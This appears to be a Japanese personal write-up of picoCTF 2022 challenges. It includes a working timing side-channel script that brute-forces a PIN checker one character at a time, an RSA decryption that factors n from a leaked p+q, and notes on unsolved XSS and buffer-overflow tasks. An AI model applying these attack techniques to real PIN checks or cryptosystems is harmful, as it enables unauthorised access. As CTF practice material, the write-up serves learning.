I wrote this linear recurrence function, can you figure out how to make it run fast enough and get the flag?

Download the code here sequences.py

Note that even an efficient solution might take several seconds to run. If your solution is taking several minutes, then you may need to reconsider your approach.

スクリプトを見ると、以下の関数が定義されています。

@functools.cache
def m_func(i):
    if i == 0: return 1
    if i == 1: return 2
    if i == 2: return 3
    if i == 3: return 4

    return 55692*m_func(i-4) - 9549*m_func(i-3) + 301*m_func(i-2) + 21*m_func(i-1)

スクリプト全体としては、この関数に int(2e7), つまり 20000000 を渡した結果を使ってフラグを復号するスクリプトです。

この関数は functools.cache によってメモ化されていますが、それでも 20000000 を渡すと計算は十分に遅いです。 これを高速化する必要があります。

問題のヒントに行列の対角化とあったので、この関数で行っている計算を行列を使って言い換えることを考えます。

この関数を f と書くことにして、 f(i)f(i+3) を使って f(i+1)f(i+4) を表現すると、

f(i+1) = f(i+1)
f(i+2) = f(i+2)
f(i+3) = f(i+3)
f(i+4) = 55692*f(i) - 9549*f(i+1) + 301*f(i+2) + 21*f(i+3)

となるので、f(i) - f(i+3)f(i+1) - f(i+4) に変換する捜査は

 \begin{pmatrix}
f(i+1)\\
f(i+2)\\
f(i+3)\\
f(i+4)
\end{pmatrix} =
\begin{pmatrix}
0&1&0&0\\
0&0&1&0\\
0&0&0&1\\
55692&-9549&301&21
\end{pmatrix}
\begin{pmatrix}
f(i)\\
f(i+1)\\
f(i+2)\\
f(i+3)
\end{pmatrix}

と書けます。 これを繰り返し使って、

 \begin{pmatrix}
f(n)\\
f(n+1)\\
f(n+2)\\
f(n+3)
\end{pmatrix} =
\begin{pmatrix}
0&1&0&0\\
0&0&1&0\\
0&0&0&1\\
55692&-9549&301&21
\end{pmatrix}^n
\begin{pmatrix}
f(0)\\
f(1)\\
f(2)\\
f(3)
\end{pmatrix} =
\begin{pmatrix}
0&1&0&0\\
0&0&1&0\\
0&0&0&1\\
55692&-9549&301&21
\end{pmatrix}^n
\begin{pmatrix}
1\\
2\\
3\\
4
\end{pmatrix}

が言えます。

つまり f(n) の値は、f(4), f(5), f(6), ...n まで順番に計算していくのではなく、行列

 \begin{pmatrix}
0&1&0&0\\
0&0&1&0\\
0&0&0&1\\
55692&-9549&301&21
\end{pmatrix}

の累乗( 20000000 乗)を計算することによって求められます。

行列の累乗は対角化によって高速に計算できるので、ここまではヒントに沿った考察ができているような気がします。

ここからは少し試行錯誤しましたが、数秒で計算が終わるほどの高速化はできませんでした。 行列を対角化したとしても、そもそも行列でなく整数の 20000000 乗ですら数秒では計算できないので、何か根本的にもう1ステップの考察が必要なんだと思います。

スクリプトを見直して、答えそのものではなく、答えを 10**10000 で割った余りのみを求めるのでも良いことはわかりましたが、 それをどう使って計算量を減らせるかはすぐに思いつかず、とりあえずパス。

SideChannel

There's something fishy about this PIN-code checker, can you figure out the PIN and get the flag?

Download the PIN checker program here pin_checker

Once you've figured out the PIN (and gotten the checker program to accept it), connect to the master server using nc saturn.picoctf.net 53639 and provide it the PIN to get your flag.

ファイルを実行すると、8桁のPINコードを入力するように求められます。 ヒントには、 "timing-based side-channel attacks" を調べろとあります。

調べてもあまりピンときませんでしたが、以下のようなコードで

  • 1文字目を総当たり
  • 2文字目から8文字目を '0' に固定

して、実行時間を計測してみました。

import time
import os

alphabet = [
    chr(code) for code in
        [c for c in range(ord('0'), ord('9')+1)]
        + [c for c in range(ord('A'), ord('Z')+1)]
        + [c for c in range(ord('a'), ord('z')+1)]
]

times = []
for ch in alphabet:
    start = time.perf_counter()
    os.system(f'echo {ch}0000000 | ./pin_checker > /dev/null')
    times.append((time.perf_counter() - start, ch))

print(sorted(times, key=lambda e: e[0], reverse=True))

結果は以下のようになりました。

[(0.24795569999969302, '4'), (0.1308854999997493, '3'), (0.1301936999998361, '2'), (0.1291067000001931, 'a'), (0.12843400000019756, '9'), (0.12836759999936476, '5'), (0.1277909999998883, '7'), (0.12770300000011048, '8'), (0.1273447000003216, '1'), (0.12694570000076055, 'j'), (0.12667030000011437, '6'), (0.12627059999977064, 'r'), (0.12611719999949855, 'Z'), (0.12577340000007098, 'E'), (0.12558339999941381, 'z'), ...]

'4' 以外はほぼ変わりませんが、 '4' だけ有意に遅くなっています。 あまり自信を持てるような状況ではありませんが、何らかの意味はありそうです。

次は

  • 1文字目を '4' に固定
  • 2文字目を総当たり
  • 3文字目から8文字目を '0' に固定

して、その次は3文字目を総当たり…と繰り返すと、最終的に 48390513 となりました。 これを入力してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/sidechannel$ ./pin_checker
Please enter your 8-digit PIN code:
48390513
8
Checking PIN...
Access granted. You may use your PIN to log into the master server.

合っていたようです。 サーバに接続して入力してみます。

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022/sidechannel$ nc saturn.picoctf.net 53639
Verifying that you are a human...
Please enter the master PIN code:
48390513
Password correct. Here's your flag:
picoCTF{t1m1ng_4tt4ck_0431e830}

stack cache

(解けてません)

Undefined behaviours are fun.

It looks like Dr. Oswal allowed buffer overflows again. Analyse this program to identify how you can get to the flag. You can view source here. And connect with it using nc saturn.picoctf.net 57251

あれ?この問題は大会期間中に見てませんでした。 苦手なBinary Exploitationであることと、次の "Sum-O-Primes" はやや得意な Cryptography だったので、とりあえずで飛ばしてしまって忘れていたのかもしれません。

Sum-O-Primes

We have so much faith in RSA we give you not just the product of the primes, but their sum as well!

  • gen.py
  • output.txt

ほぼ通常のRSAですが、公開鍵(の一部)である n素数 p, q の積 pq のことです)以外に、和 p+q も公開されています。

pq だけから p, q それぞれを計算するのは難しいとされています(それがRSA暗号が暗号として使われる根拠です)が、積 pq と和 p+q から p, q それぞれを計算するのは簡単です。

方法はいくつかありそうですが、おそらく2次方程式を使うのが最も簡単だと思います。 p, q は方程式 x^2 - (p+q)x +pq = 0 の解で、これは解き方がよく知られています。

p, q がわかれば、あとは通常のRSA暗号に関する計算をするだけです。

以下のスクリプトで計算しました。

from Crypto.Util.number import long_to_bytes

x = 0x1c0e127fe9274dcd9830ecf0af5cf1c75e7c24106247495f3756d013d939ea66befa038012844379905cb0281cd4009f1bd6102680b8a029d69a51dbbfc1ddf77b21eeee42b0e4897cd2a541b99d41523e5cd44799cd209eeae33db029937aad6c5bb3f359dad8b780e1b07d73ac1d0cef6d5517ab78ec19d8dbe31d5322c6382
n = 0xc4bf129f0b86c18115b8eabfc5399e366e75d703f191f993b56d433d86c2a7c85ff1304c9d9068893232ced732e769114873a6dfdc61949388a0bc8a1f4ef0332888e714c9deadb2439c532aa1c8210f8a90409f6e7776239eebf649149f02e005683c86e677ebf17506ed076eddf593696dbc58340dde1c3a7da443f0b27d3ba8e8f04e7139e199ef34cb88e26e3794b319a4018a6627203c479edd50cb9c5b2cdc8a8de14c6c0294e6ad13c95c98fe8e8f1b9587dc7f2ddbba1233a14ed831321323c1e68b525f8fb8a93bd7081e702606c7174d1534af66858c25c5b19304accde3a0659cd29c3c7cb411e015422b5a8fd0d403470553bc5f870b3506709d
c = 0x2c628ae700a75caf1be3e354599249dd9ae80f38c1ac8fdcd53167e918f53b1a1cbd42a5e57951d634c3f88b7e96787c8b19682a0ab5e78eb97dc87cf51e3099b0b2b105183ae524d170bdf4a3cd5fbccd021315a94e6a99220a876b970bee15b40c39794d5063c0fe9da2b728e641d3a488fc198363785224717985b5b8e0ee055f03d6b165ad6b9e0bf99dc50a371629ed012836c0cfa7073d708650bc4e7b8277a5ddab3aa5d6d7e0deea2266792898d8ef603850eab52c3d06cf8a93b7e91321b310035f867c32fea4238ba725a165ba972dd0aa543b41be82f67325fb9a2bfddcec9ae9a4f95f0981de531f4442ba6ee9d95e4ae11212137900ee0938ab

def search_sqrt(n):
    l = 0
    r = n
    while l < r:
        m = (l+r)//2
        if m*m == n:
            return m
        elif m*m < n:
            l = m+1
        else:
            r = m-1
    return l

m = x*x //4 - n
s = search_sqrt(m)
assert s*s == m

p = x//2 + s
q = x//2 - s

e = 65537
d = pow(e, -1, (p-1)*(q-1))
plaintext = pow(c, d, n)
print(long_to_bytes(plaintext))

整数の平方根の計算を簡単に行う方法がわからなかったので、二分探索を使いました。 実行するとほぼ瞬時に計算でき、 b'picoCTF{f5eab190}' となります。

Torrent Analyze

(解けてません)

SOS, someone is torrenting on our network.

One of your colleagues has been using torrent to download some files on the company’s network. Can you identify the file(s) that were downloaded? The file name will be the flag, like picoCTF{filename}. Captured traffic.

Wiresharkでキャプチャを開いて眺めてみることと、

wn@wsl:~/workspace/ctf/picoCTF/picoCTF2022$ strings torrent.pcap | less

くらいは試してみましたが、それほど意味のありそうなものは見当たりませんでした。

パス。

Live Art

(解けてません)

The PeerJS server used by this challenge is currently experiencing an outage. However, this does not affect its solvability.

Description

There's nothing quite as fun as drawing for an audience. So sign up for LiveArt today and show the world what you can do.

Webページと、そのソースコードが与えられます。 Webページでは、 "fan mail" 機能で管理者にURLを送ることができます。 URLを送った際のサーバ側の挙動は、ソースコードserver/src/page-worker.ts に記述されています。

  • まず http://localhost:4000 にアクセスして、そのページ上でlocalStorageの username キーにフラグを設定します。
    • このWebページは内部的にはポート4000で動作しているようなので、 http://localhost:4000 というのはつまり、このWebページ自身のことです
  • 次に、送られたURLにアクセスします。

このことだけを使ってフラグを取得しようとする場合、URLにサーバがアクセスしたときに以下のことが起こる必要がありそうです。

  • http://localhost:4000 にアクセスする
    • あるページで設定したlocalStorageには同じオリジンからしかアクセスできないはずなので、これが必要
  • localStorageからフラグを取得する
  • そのフラグをどこかに送信する

それは簡単にできることではなさそうなので、なにかもう1つ気づく必要があるんだと思います。

パス。

noted

(解けてません)

I made a nice web app that lets you take notes. I'm pretty sure I've followed all the best practices so its definitely secure right?

Note that the headless browser used for the "report" feature does not have access to the internet.

Create an account at this website.

Source code: noted.tar.gz

Webサイトにアクセスすると、まずログイン画面が表示されます。 適当なユーザ名とパスワードを登録(Register)すると、ノートを登録できるようになります。

ノートに <script> タグを含めることでスクリプトが埋め込めることと、Report機能でURLを送ったときにサーバ側で行われる操作を確認しましたが、 たぶん Live Art とかなり似た問題のような気がする、ということくらいしか分かりませんでした。

パス。

NSA Backdoor

(解けてません)

I heard someone has been sneakily installing backdoors in open-source implementations of Diffie-Hellman... I wonder who it could be... ;)

  • gen.py
  • output.txt

pqVery Smooth と同じく、smoothな整数+1となるような素数です。

n = pqc = pow(3, FLAG, n) が与えられるので、 FLAG を計算せよ、という問題です。

ヒントにある "Mr. Wong's whitepaper" というのは、ちゃんと読んでませんがおそらく https://eprint.iacr.org/2016/644.pdf これだと思います。

1,2ページ程度なら読んだかもしれませんが、長そうだったので諦めてしまい、パス。

solfire

(解けてません)

問題をろくに読むこともせずパス。

Wizardlike

(解けてません)

問題をろくに読むこともせずパス。

全体の感想など

時間の使い方をミスりました。 大会期間中を通して、仕事がそこそこ忙しく、休日にも予定が入り、ドラクエ10の大型アップデートもあり、時間があまりとれないことは分かっていたので、

  • やや得意な Cryptography 問題を優先して解く
  • ちょっとハマったら解けそうでもいったんスキップする

くらいのことはやっておくべきだったなと思います。

終盤の問題については、時間が全然足りないことがわかってしまい、ちょっと見てすぐに解けそうなものだけを解く戦略にせざるを得ませんでした。 パッと見てわからなそうでパスした問題も時間をかけて取り組めば解けていたかもしれないし、

あたりは、もう少し時間をかければ解けていたかもしれません。

また、 buffer overflow 系の問題が全然解けなかったのは課題に感じます。 解くのにアイディアが必要で、それが思いつかずに解けなかった、というようなことではおそらく全然なく、そもそも知識がないので解けませんでした。 基本的な知識をどこかで勉強する必要があると思います。

そういうミスや今後の課題はあるにしても、ある程度の規模のCTFの大会に、リアルタイムで、ある程度やる気をもって参加したのは今回が初めてで、楽しかったです。 十分やりきったと思えるほどには時間が取れなかったのが個人的には悔やまれますが、picoCTF 2022のおかげで楽しい2週間を過ごせました。

今後も、本格的に勉強するかどうかはわかりませんが、初心者が気軽に参加できそうなCTFには参加してみたいと思います。